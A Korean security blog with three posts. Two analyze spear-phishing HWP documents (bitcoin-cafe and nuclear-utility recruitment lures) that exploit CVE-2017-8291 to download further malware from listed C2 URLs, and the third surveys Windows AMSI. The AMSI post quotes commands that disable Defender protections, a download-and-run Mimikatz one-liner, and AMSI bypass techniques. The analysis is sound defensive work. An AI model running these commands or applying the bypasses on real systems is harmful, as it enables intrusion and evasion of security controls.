[1][2] 이전 게시물에서 분석한 내용과 유사한 공격이 지속적으로 발생하고 있습니다. 이번 공격에는 "[조회]비트코인 투자 카페 강퇴&활동정지"라는 내용의 한글문서가 유포됐습니다. (Figure 1) 비트코인 가격이 최근 상승[3]하는 것으로 보아 비트코인 관련 미끼 문서로 스피어피싱 공격이 이루어지는 것으로 추정되어 관계자 및 개인들의 주의가 필요할 것으로 보입니다.

(Figure 1) 최근 상승하는 비트코인 차트

(Figure 2) Virustotal에서 해쉬값을 조회한 결과 3개의 국내 백신(V3, Alyac, Virobot)에서 탐지한 것으로 확인됐습니다.

(Figure 2) 탐지된 Virustotal

유포된 한글문서의 내용(Figure 3)에는 비트코인 투자카페 신고관련 내용이 존재합니다. 해당 카페가 존재하는지 확인한 결과 (Figure 4) 실제로 운영되는 카페인 것으로 확인됐습니다. 카페에는 암호화폐 투자에 대한 커뮤니티로 4.29 기준 153,403명의 회원이 있을 정도로 회원들에게 스피어피싱 메일을 보냈을 것으로 추정됩니다.

(Figure 3) 유포된 한글문서 내용

(Figure 4) 실제 운영되는 네이버 카페(비트코인투자카페)

[Hash값 채증]
(Figure 5)는 순서대로 유포된 악성 한글 문서, PostScript, 은닉된 shellcode 순으로 이루어집니다.

(Figure 5) 채증된 해시값

[악성 문서파일(HWP) 및 쉘코드 분석]
(Figure 6) 한글 속성정보를 확인한 결과, 마지막 작성된 시각은 2020년 4월 29일 1시 28분경에 작성된 것으로 확인됩니다.

(Figure 6) 한글문서 속성정보

(Figure 7) 이전 게시물[1][2]과 동일한 패턴의 취약점(CVE-2017-8291)을 사용했으며, 변수명만 다른 것으로 확인됐습니다. 또한, VBScript를 동일하게 쉘코드 내부에서 실행하며, 몇 가지 부분만 달라졌습니다. VBScript 코드 차이점은 아래에서 확인해보도록 하겠습니다.

(Figure 7) 한글문서 내 PostScript 및 쉘코드 텍스트 변환

(Figure 8) 쉘코드도 아래와 같은 방식으로 이전과 100% 동일합니다. (이전 게시물과 중복)
1. GetProcAddress를 이용해 LoadLibrary API 함수 호출
2. msvcrt.dll 호출
3. GetProcAddress를 이용해 system API 함수 호출
4. system API 호출을 통해 VBScript 코드 호출

(Figure 8) 쉘코드 분석 내용

(Figure 9) ~ (Figure 10)는 이전 공격[1][2]과 현재 공격을 비교하여 재표현한 코드입니다.
(Figure 9)에서는 Base64Decode, BinaryToString 함수가 기존과 동일하며, 처음 진입할 때 temp 경로가 아닌 Internet Explorer 경로라는 것이 다릅니다.

(Figure 9) 이전 공격과 VBScript 비교(1)

(Figure 10)에서 수행하는 공격을 요약하면 아래와 같습니다. (이전 게시물과 내용이 일부 동일)
1. 인터넷 연결을 위한 Microsoft.XMLHTTP, 윈도우 기능을 사용하기 위한 WScript.Shell 객체를 생성
2. OS 환경을 체크하고 64비트가 아니면 종료
3. xURLS 변수에 아래 C2 정보에 GET 메소드를 통해 리소스를 요청 시도 (category.php 파일의 파라미터 uid 값이 0이면 32bit, 1이면 64bit로 동작됨)
(C2-1) https://matteoragazzini[.]it/wp-content/uploads/2017/06/category.php?uid=0&udx=cbedf01fa62a94219e70dae13d3dc984 (단절은 아니지만 파일이 비어있음, MD5로 추정되는 값은 VT에 업로드되지는 않음)
(C2-2) https://matteoragazzini[.]it/wp-content/uploads/2017/06/category.php?uid=1&udx=cbedf01fa62a94219e70dae13d3dc984 (상동)
4. 3번에서 리소스를 받아왔다면, Base64Decode 함수에 받은 HEX 데이터를 BinaryToString 함수로 String 형태로 변환한 뒤 Base64 디코딩 수행 (여기서 알 수 있는 점은 받는 리소스는 Base64 인코딩된 HEX형 데이터일 가능성 농후)
5. 디코딩된 데이터를 %appdata%\Microsoft\Internet Explorer 경로의 ieframe.html 파일명으로 저장 후 "regsvr32 /s ieframe.html" 명령어 실행 (regsvr32는 DLL 및 ActiveX 컨트롤을 등록하기위한 파일입니다)

(Figure 10) 이전 공격과 VBScript 비교(2)

[결론]
본 게시물에서는 비트코인 투자 카페 관련 내용을 미끼문서로 만든 악성 한글문서를 분석했습니다. 추가 유포파일을 채증하지 못해 추가적인 분석은 수행하지 못했지만, 해당 게시물에서 알 수 있는 점은 한글 취약점(CVE-2017-8291)을 이용했고, 최종적으로는 쉘코드 내부 VBScript를 이용해 C2 주소에서 추가 유포파일을 다운로드 시도하는 다운로더(Downloader)였습니다. 또한, 이전 게시물[1][2]과 다운로드 시도하는 과정까지의 TTP가 매우 유사했습니다. PostScript 취약점을 이용한 방법은 과거부터 지속적으로 사용되는 공격자들의 기법으로, 앞으로도 이를 이용한 공격이 언제까지 지속될지 궁금합니다.

추가적으로, 작성한 글[1][2]의 분석 내용과 유사한 점은 아래와 같습니다.
※ TTP가 유사
→ 스피어피싱을 이용해 한글문서를 유포 및 2차 악성코드 다운로드 시도
→ 유포지로 사용한 C2 주소를 취약한 워드프레스 사이트로 사용
→ PostScript, 쉘코드, VBScript 코드 내용이 매우 유사
→ ~~유포파일을 %temp% 경로에~~ ~~svchost.exe를 다운로드 후 실행~~

※ 달라진 점
→ [1]이전에는 Powershell을 이용해 C2에 접속했지만, 이번 공격은 VBScript만을 이용
→ VBScript 코드에서 유포파일을 %temp% 경로가 아닌 %appdata%\Microsoft\Internet Explorer 경로에 html 형태의 파일로 저장 후 regsvr32로 등록 ([1][2]이전에는 svchost.exe로 다운로드하고 실행)

[IOC]
- http://newtocanada.com/wp-content/uploads/mk_logs/bulletin-deliever/mailchimp.php?uid=0&udx=b4244415055b89e24abf61f29672235b
- http://newtocanada.com/wp-content/uploads/mk_logs/bulletin-deliever/mailchimp.php?uid=1&udx=b4244415055b89e24abf61f29672235b
- b746127fa6e7a2d75bf46ce5a31b50e7f82b665b87e4668ebfc79a65bc7029c5
- b0da0630abcd4c5173f8a5da52f13f61969b6c94931d9653b7cb7a7050bdf4ba
- 113d0da9e29dee7ec23d478b73d336e0082212d5c31a4e8af71955f116f5ce02
- 2800978c413eea8b05a58462bf8babcb99c75ab6ee2abc24fd054e7f22c73222

[Reference]
[1] https://suspected.tistory.com/269
[2] https://suspected.tistory.com/273
[3] https://upbit.com/exchange?code=CRIX.UPBIT.KRW-BTC

악성코드 분석(2020 상반기 한국수력원자력 채용공고 사칭 악성 한글문서)

1q — Tue, 28 Apr 2020 01:14:01 +0900

[개요]
언론[3]에 따르면 한국수력원자력에서 상반기 채용공고인 "연구ㆍ전문원 및 경력사원 선발[2]"을 미끼로 사용하여 공격자들은 금일 악성 한글파일을 유포한 정황이 포착됐습니다. (Figure 1) 4월 27일 오후 6시경 확인했을 때는 ViRobot을 제외하고는 탐지를 못하는 것을 확인했습니다. 본 게시물에서 다루는 샘플은 이전 게시물[1]과 GhostScript 취약점(CVE-2017-8291) 및 쉘코드 또한 유사했습니다. C2 서버에서 파일을 받지 못하여 추가적인 분석은 하지 못했지만 유포 전 과정까지 분석한 결과를 본 게시물에서 소개해드리겠습니다.

(Figure 1) Virustotal 확인

공격자는 실제 한국수력원자력 상반기 2020 채용공고 문서(Figure 2)와 유사하게 작성(Figure 3)을 했으며, 일부 내용은 조금 다른 것을 확인했습니다. 한수원은 2014년 특정 공격그룹(언론은 라자루스라고 칭함)에 의해 공격을 당한 이력이 있었기 때문에 해당 공격이 화제가 되었던 것 같습니다.

(Figure 2) 실제 업로드된 채용공고 내용

(Figure 3) 유포된 한글파일 본문 내용

[Hash값 채증]
(Figure 4)는 순서대로 유포된 악성 한글 문서, PostScript, 은닉된 shellcode 순으로 이루어집니다.

(Figure 4) 채증된 파일의 Hash

[악성 문서파일(HWP) 및 쉘코드 분석]
(Figure 5) 한글 속성정보를 확인한 결과, 마지막 작성된 시각은 2020년 4월 26일 21시 49분경에 작성된 것으로 확인됩니다.

(Figure 5) 한글문서 속성정보

(Figure 6)~(Figure 8) 은닉된 PostScript 코드를 확인해본 결과, /tomato라는 변수로 PostScript가 또 다시 존재했으며, 이를 다시 확인한 결과, 실제 쉘코드가 (Figure 8)과 같이 존재했습니다.

(Figure 6) PostScript 코드(1)

(Figure 7) PostScript 코드(2)

(Figure 8) PostScript 코드(3)

(Figure 8)의 쉘코드를 채증해 텍스트로 확인한 결과, 저번 분석(Powershell 이용)과 비슷하게 VBScript를 활용합니다. 또한, C2로 예상되는 주소가 xURLS 변수에 선언되어 있는 것을 볼 수 있습니다.

(Figure 9) 텍스트로 변환한 쉘코드

쉘코드를 분석한 결과, 아래와 같은 단계로 이루어집니다.
1. GetProcAddress를 이용해 LoadLibrary API 함수 호출
2. msvcrt.dll 호출
3. GetProcAddress를 이용해 system API 함수 호출
4. system API 호출을 통해 VBScript 코드 호출
참고로, (Figure 10) 0x4010A4 주소의 CALL 0040163F는 system API 함수를 호출하는 함수입니다. 바로 밑의 0x4010A9 주소는 VBScript가 작성된 것으로, system 함수의 인자 값으로 동작됩니다.
→ CALL을 진입하면 다음 주소(Return)를 스택에 쌓는 것을 토대로 만들어짐(System 함수의 인자로 동작)

(Figure 10) 쉘코드 분석

(Figure 11) ~ (Figure 12)는 (Figure 10)에서 발견된 VBScript를 채증해서 재표현한 코드입니다. (Figure 11)은 파라미터로 들어온 값을 Base64 디코딩하는 Base64Decode 함수, Binary를 String형으로 변경하는 BinaryToString 함수가 있습니다.

(Figure 11) VBScript 코드(1)

(Figure 12)를 요약하면 아래와 같은 기능이 있습니다.
1. 인터넷 연결을 위한 Microsoft.XMLHTTP, 윈도우 기능을 사용하기 위한 WScript.Shell 객체를 생성
2. OS 환경을 체크하고 64비트가 아니면 종료
3. xURLS 변수에 아래 C2 정보에 GET 메소드를 통해 리소스를 요청 시도
(C2) https://matteoragazzini[.]it/wp-content/uploads/2017/06/category.php?uid=1&udx=cbedf01fa62a94219e70dae13d3dc984
4. 3번에서 리소스를 받아왔다면, Base64Decode 함수에 받은 HEX 데이터를 BinaryToString 함수로 String 형태로 변환한 뒤 Base64 디코딩 수행 (여기서 알 수 있는 점은 받는 리소스는 Base64 인코딩된 HEX형 데이터일 가능성 농후)
5. 디코딩된 데이터를 svchost.exe 이름으로 저장하고 실행하며, 해당 VBScript를 자가삭제하고 종료

C2에 접속해 추가 바이너리를 채증하려고 시도한 결과, 리소스가 없는 상태로 추가 분석을 할 수 없었습니다. 이후에 유포파일을 얻을 수 있다면, 분석 후 내용을 추가하도록 하겠습니다.

(Figure 12) VBScript 코드(2)

특이사항으로, (Figure 12)에서 C2에 GET 요청을 할 때, category.php에 uid, udx 파라미터를 사용합니다. 여기서 udx는 32자리인 md5 형태의 숫자로 이루어져 있습니다. 혹시 md5라면 Virustotal에 업로드가 되지 않았을까 하는 생각에 확인한 결과, 파일은 아직 업로드되지 않았습니다.

(Figure 13) 의심 hash 값 Virustotal 조회

[결론]
본 게시물에서는 한국수력원자력 채용공고를 미끼문서로 만든 악성 한글문서를 분석했습니다. 추가 유포파일을 채증하지 못해 추가적인 분석은 하지 못했지만, 해당 게시물에서 알 수 있는 점은 한글 취약점(CVE-2017-8291)을 이용했고, 최종적으로는 쉘코드 내부 VBScript를 이용해 C2 주소에서 추가 유포파일을 다운로드 시도하는 다운로더(Downloader)였습니다.

추가적으로 작성한 글(https://suspected.tistory.com/269)의 분석 내용과 유사한 점이 있습니다.
※ TTP가 유사
→ 스피어피싱을 이용해 한글문서를 유포 및 2차 악성코드 다운로드 시도
→ 유포지로 사용한 C2 주소를 취약한 워드프레스 사이트로 사용
→ 유포파일을 %temp% 경로에 svchost.exe를 다운로드 후 실행

※ 달라진 점
→ [1]이전에는 Powershell을 이용해 C2에 접속했지만, 이번 공격은 VBScript만을 이용

[IOC]
- https://matteoragazzini[.]it/wp-content/uploads/2017/06/category.php?uid=1&udx=cbedf01fa62a94219e70dae13d3dc984
- 67a52dbb1067cc4546bb738cc5a77a4bc9ed4e4f5d0febdc4fc0b5427b5d35f9
- 66a4eb6f99e942a6ba326de64fd893a5e18f6812dda224873ba94382cc00b3ed
- c9caac0541347aef876e1147d7df2a752cd5d08c94e2d9760f15b39ba23bb0fa
- eff551790f6a1c395898ef2a3a2aea61daf478ecc5814e93a150aa0bd426f4e4

[Reference]
[1] https://suspected.tistory.com/269
[2] http://www.khnp.co.kr/RECU_NEW/
[3] https://m.etnews.com/20200427000455

AMSI(AntiMalware Scan Interface) 조사 및 분석

1q — Fri, 17 Apr 2020 14:39:53 +0900

Microsoft 공식 홈페이지[1]에 따르면 AMSI(AntiMalware Scan Interface)는 응용 프로그램 및 서비스를 컴퓨터에있는 모든 Anti-Virus 제품과 통합 할 수있는 다목적 인터페이스 표준이다.

AMSI 기능은 Windows 10의 아래 구성 요소에 통합되어 있다.

User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
PowerShell (scripts, interactive use, and dynamic code evaluation)
Windows Script Host (wscript.exe and cscript.exe)
JavaScript and VBScript
Office VBA macros

AMSI는 앱 내부에서 멀웨어 방지 제품을 이용하려는 응용 프로그램 개발자, 제품이 응용 프로그램에 최고의 기능을 제공하기를 원하는 멀에어 방지 제품의 Third-party 제작자가 이를 주로 사용할 수 있게 설계되었다.
AMSI는 특히 "Fileless Malware"를 대응하도록 설계되었다. 활용할 수 있는 응용 프로그램 유형에는 스크립트 엔진, 실행 전 메모리 버퍼를 스캔해야 하는 응용 프로그램 및 PE가 아닌 실행 코드가 포함된 파일(예: MS word, excel 매크로 또는 pdf 문서)을 처리하는 응용 프로그램들이 있다.

[응용 프로그램 개발자 활용 방식]
앱에서 AMSI와 인터페이스 할 수 있는 두 가지 방법은 아래와 같다.
1. AMSI Win32 API를 사용하기[2]
- 아래는 스캔을 요청하기 위해 앱에서 호출할 수 있는 함수이다. 세션 열고 닫기, 차단 여부, 멀웨어 검사 등 다양한 기능을 제공한다. 주요 기능은 AmsiScanBuffer, AmsiScanString이다. 조사를 끝내고 아래 함수를 통해 간단한 프로그램을 만들어 볼 예정이다. 그렇기 때문에 함수에 대한 세부 내용은 살펴보지 않을 것이다.

AMSI functions

2. AMSI COM 인터페이스 사용하기[3]
C++ 기반으로 amsi.h 파일을 통해 AMSI의 기능을 사용할 수도 있다. MS가 깃허브에 공개한 IAmsiStream Interface sample[4]에서도 활용 예제를 참고할 수 있다. 요구 사항으로는 최소 지원 클라이언트가 Windows 10 [only desktop app], 지원되는 최소 서버는 Windows Server 2016, 2019 [only desktop app]으로 제한한다.

IAmsiStream interface

[Third-party 제작자 활용 방식]
개인적으로 앱을 만드는 개발자와 달리 Third-party 제작자는 국내외 멀웨어방지 제품 또는 다른 프로그램에 AMSI를 적용할 때 해당 방식을 사용한다. (예: Windows Defender, 7Zip, Process Hacker(?), etc...)
anti-malware 제품을 만드는 사람들은 AMSI provider로 기능하기 위해 COM server (DLL)를 작성하고 등록하도록 선택할 수 있으며, AMSI provider는 IAntimalwareProvider를 구현해야 하며, 반드시 과정 중에 실행되어야 한다. (DLL은 LoadLibraryW 호출 또는 전체 경로와 함께 로드하는 것이 좋다) 추가로 COM 클래스를 등록을 해주어야 하는데, 그 방법은 [5]를 참고하면 되며, IAntimalwareProvider interface는 아래 Method들[6]을 사용할 수 있다.

IAntimalwareProvider interface

지금까지 앱 개발자 또는 Third-party 업체가 AMSI를 사용할 수 있는 사용법에 대해 조사해봤다. 다음으로는 AMSI가 현재(2020년 4월) 기준으로 어떻게 응용되고 있는지, 국내외 컨퍼런스에서 발표된 자료를 기반으로 작성하도록 하겠다.

Black Hat USA 2016에서 발표된 "AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It" 내용[7][8], Wild West Hackin' Fest 2018에서 발표된 "Antimalware Scan Interface (AMSI)" 내용[9]에서는 AMSI의 소개, 실제 Powershell로 작성된 악성 스크립트(Malicious Powershell via Unicorn, Mimikatz)를 대상으로 AMSI 기능 테스트, AMSI의 우회 방법에 대해 소개했다.
해당 자료에 따르면 스크립트 기반 공격은 Powershell, VBScript, JScript가 있으며, 주로 낮은 탐지율 때문에 공격자들이 자주 사용. 또한, AMSI의 특징은 Memory 스캐닝, URL 및 IP 분석, File 검사, VBA와 Scripting Runtime 분석을 수행하는 것이라고 전했으며, MS 공식 홈페이지에서 확인할 수 있는 아래 첨부된 AMSI Architecture에 대한 설명을 진행했다. AMSI를 효과적으로 사용하는 방법에 대해서는 Scripting host level에서 스크립트를 catch하려고 시도한다고 하면서 System.Automation.dll (powershell.exe가 없는 Powershell script)을 사용하면 도움이 되지 않으며, input method(disk, memory, interactive)는 중요하지 않다고 전했다.

AMSI Architecture

또한, 발표에서는 AMSI Detection에 대해 실제 악성 스크립트(Powershell)를 실행했을 때의 현상을 DEMO 영상을 통해 공개했으며, 시나리오는 아래와 같다. (Test OS : 64bit Windows 10 build 10586)
1. Powershell에서 "Set-MpPreference -DisableIOAVProtection $true"를 통해 AV를 비활성화한다.
2. Client에서 로컬 웹 서버(HFS, HTTP file Server)에 미리 업로드한 데이터를 다운로드 받기 위해 "iex (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke.Mimikatz.ps1')" 명령을 통해 해당 파워쉘 내부 데이터를 가져온다.
3. Get-MpThreatDetection | sort InitialDetectionTime -Descending | select -First 1 명령을 통해 WindowsDefender가 탐지하지 못한 것을 보여주었다.
4. 다시 1번에서 $false를 적용해 AV를 활성화한다.
5. 2번 내용을 다시 수행하지만, 아래와 같이 AV가 차단했다는 경고창이 뜨면서 실행되지 않는 것을 볼 수 있다.

6. 3번을 다시 수행하면 탐지가 되었다는 이벤트로그를 확인할 수 있다.

Powershell 스크립트가 비정상적인 위치(WMI namespaces, Registry keys, Event logs)에서 로드된다면 기존 방식(disk based) 탐지는 해당 스크립트를 탐지할 수 없다고 전했으며, .Net 클래스, 별도의 실행 공간, 다른 프로세스의 메모리 공간, 정상 응용 프로그램(InstallUtil, regsrv32, rundll32) 등 다양한 통로에서 비정상적인 실행이 이루어질 경우에 대한 다양한 측면을 고려해봐야 한다고 전했다.

발표자들은 AMSI를 회피할 수 있는 3가지 방법인 Poershell Version 2를 사용(기본 Windows 10에 없는 .Net 3.0 필요), Signature bypass(효과가 제한), AMSI 비활성화를 제안했다. AMSI를 회피하기 위해 Signature bypass 방법은 아래와 같이 난독화를 통해 수행한 결과, AMSI에 탐지되지 않았다고 한다. (결국에는 Signature Detection이라고 생각한다고 의견을 전달함)

AMSI를 우회하는 것은 사실 어렵지 않다면서 아래와 같은 방법이 제일 간편하다고 전했다.
1. Remove help section
2. Obfuscate function and variable names
3. Encode parts of script
4. ISESteroids 모듈의 난독화 기능
5. Windows Defender와 연동해서 사용할 수 있는 명령어 (악성코드에서 해당 기능을 끔으로 우회가 가능)
→ Set-MpPreference -DisableRealtimeMonitoring $True (Event ID 5001 통해 On/Off 확인 가능)
6. AVProtection 끄는 명령어 (Windows Defender)
→ Set-MpPreference -DisableIOAVProtection $True (Event ID 5004 통해 On/Off 확인 가능)
7. 아래 명령을 통해 현재 프로세스에서 AMSI를 언로드 할 수 있음 (높은 특권 필요 X)

8. amsi.dll을 Drop하는 방법[13]

Black Hat ASIA 2018에서 발표된 "The Rise and Fall of AMSI" 내용[10] 또한 공개되었다. 해당 내용은 추후에 추가하도록 하겠다.(이것 또한 AMSI을 우회하는 방법에 대해 소개하고 있다..)

다음으로는 AMSI를 활용하는 Antivirus 및 다른 업체에 대해 조사해봤다.

Twitter @Lee_Holmes에 따르면 20년 3월 말 기준으로 AMSI를 지원하는 Antivirus Vendor가 아래와 같았다. Windows Defender, AVG, BitDefender, ESET 등 15개 보안업체가 이를 점차 활용하고 있으며, Fileless 공격에 대응하기 위해 앞으로도 계속적으로 추가될 것으로 보인다. (2016년 7월 21일 기준 2개 벤더(Windows Defender, AVG)만 사용했지만 현재 15개로 점진적으로 해당 기술을 사용하는 업체가 증가하고 있는 추세)

AMSI를 탑재하고 있는 보안 벤더

이와 반대로, 국내 보안업체같은 경우는 AMSI를 지원하지 않고 있다. 해당 기술을 적용하지 않아서 좋지 않은 벤더사라고 말할 수는 없으며, 해당 기술은 점점 발전하고 있어 미리 적용한다면 스크립트 기반 공격에 대해 선제적으로 방어체계를 구축할 수 있을 것이라고 생각한다.

[11] 국내 보안업체와 별개로 국내 반디소프트에서 개발한 압축 프로그램인 '반디집'에서 AMSI를 적용하는 것을 확인했다. 반디집에 따르면 Windows 10의 AMSI 기능을 사용해 압축 파일의 디스크에 내용을 풀지 않고 메모리에 풀어서 악성코드를 검사하는 기능을 제공한다. 이 기능은 모든 압축 파일에 대한 악성코드 검출을 보장하지 않는다고 한다(??). 단, 시스템에 설치된 AV 프로그램이 AMSI를 지원하지 않는다면 AMSI가 비활성화되거나 정상적으로 작동하지 않으며, 반디집의 악성코드 검사 기능도 작동하지 않는다고 한다.. 또한, 반디집 공식 홈페이지에는 AMSI를 지원하는 AV 프로그램이 2020년 2월 기준 6개로 조사됐지만, 위에 조사된 트위터 사진을 보면 10개 이상의 업체가 지원하는 것을 확인했을 때, 정확한 조사가 되지 않은 것으로 확인됐다.
반디집은 또한 아래와 같은 이유로 AV 프로그램 단독으로 검사를 수행하면 악성코드 검출에 실패할 수 있다고 전했다. 간단한 실험 또한 명시되어 있었다. 요약하면, "AV 프로그램이 악성코드로 진단하지 못하는 eicar 샘플을 반디집에서는 검사할 수 있다"이다.

압축 파일에 암호가 걸린 경우
파일이 널리 쓰이지 않는 압축 포맷으로 압축된 경우
파일이 널리 쓰이지 않는 압축 알고리즘으로 압축된 경우
해당 AV 프로그램이 압축을 풀지 않으면 압축 파일을 검사하지 않는 경우

필자가 이해한 바로는 AMSI 기능을 제공하는 AV에 의존을 해야하며, 압축파일을 디스크에 풀지 않고 메모리에서 검사를 수행하는 메커니즘인 것 같다. 설계서나 코드를 봐야 어떤 방식으로 이루어졌는지 확인할 수 있어 자세한 사항을 확인하기는 어려웠다. (내용이 틀리다면 댓글 부탁드립니다)

AMSI를 활용하는 반디집(출처 : 반디집 공식홈페이지)

또한, 샌드박스 업계에서는 조샌드박스가 유일하게 AMSI와 통합한 것을 확인할 수 있었다.

AMSI를 활용하는 joesecurity(출처 : jooesecurity 공식홈페이지)

국외 보안업체 McAfee가 19년 8월경 AMSI를 자사 보안제품에 적용해 Powershell과 같은 실제 악성 스크립트를 테스트한 결과에 대한 게시물을 업로드했다.[12]
MacAfee에서 공개한 Fileless Malware에 대한 공격에 대한 전략은 아래와 같았으며, Word에서 수행하는 Powershell을 실행하고, AMSI Buffer에 저장된 파워쉘 코드를 MacAfee 스캐너가 탐지하여 Feature를 추출하고 ML을 이용해 분류하여 최종적으로 Zero-Day- Powershell 위협을 탐지할 수 있었다고 전했다.

[결론]
지금까지 본 게시물에서는 AMSI 기능을 사용해서 개발하는 방법, 외부 컨퍼런스에서 다루는 AMSI 우회 방법 및 소개, AMSI를 활용하고 있는 국내외 보안 벤더 및 다른 제품(총 17개 업체-Antivirus, zip, sandbox), 서비스들에 대해 살펴봤다. AMSI는 윈도우 환경에서 스크립트 기반 공격을 차단하기 위한 큰 발전으로 보이며, 앞으로도 꾸준히 발전될 것으로 보인다. 본 내용은 간략하게 조사한 내용으로써, 더 상세한 조사가 필요될 것으로 보이며, 추가되는 즉시 게시물을 수정하도록 할 것이다.

[Reference]
[1] https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal
[2] https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-functions
[3] https://docs.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iamsistream
[4] https://github.com/Microsoft/Windows-classic-samples/tree/master/Samples/AmsiStream
[5] https://docs.microsoft.com/en-us/windows/win32/amsi/dev-audience
[6] https://docs.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iantimalwareprovider
[7] https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf
[8] https://www.youtube.com/watch?v=7A_rgu3kbvw
[9] https://www.youtube.com/watch?v=wBK1fTg6xuU
[10] https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the-Undocumented-The-Rise-and-Fall-of-AMSI.pdf
[11] https://kr.bandisoft.com/bandizip/help/antimalware-scan-on-archive/
[12] https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-amsi-integration-protects-against-malicious-scripts/
[13] http://cn33liz.blogspot.com/2016/05/bypassing-amsi-using-powershell-5-dll.html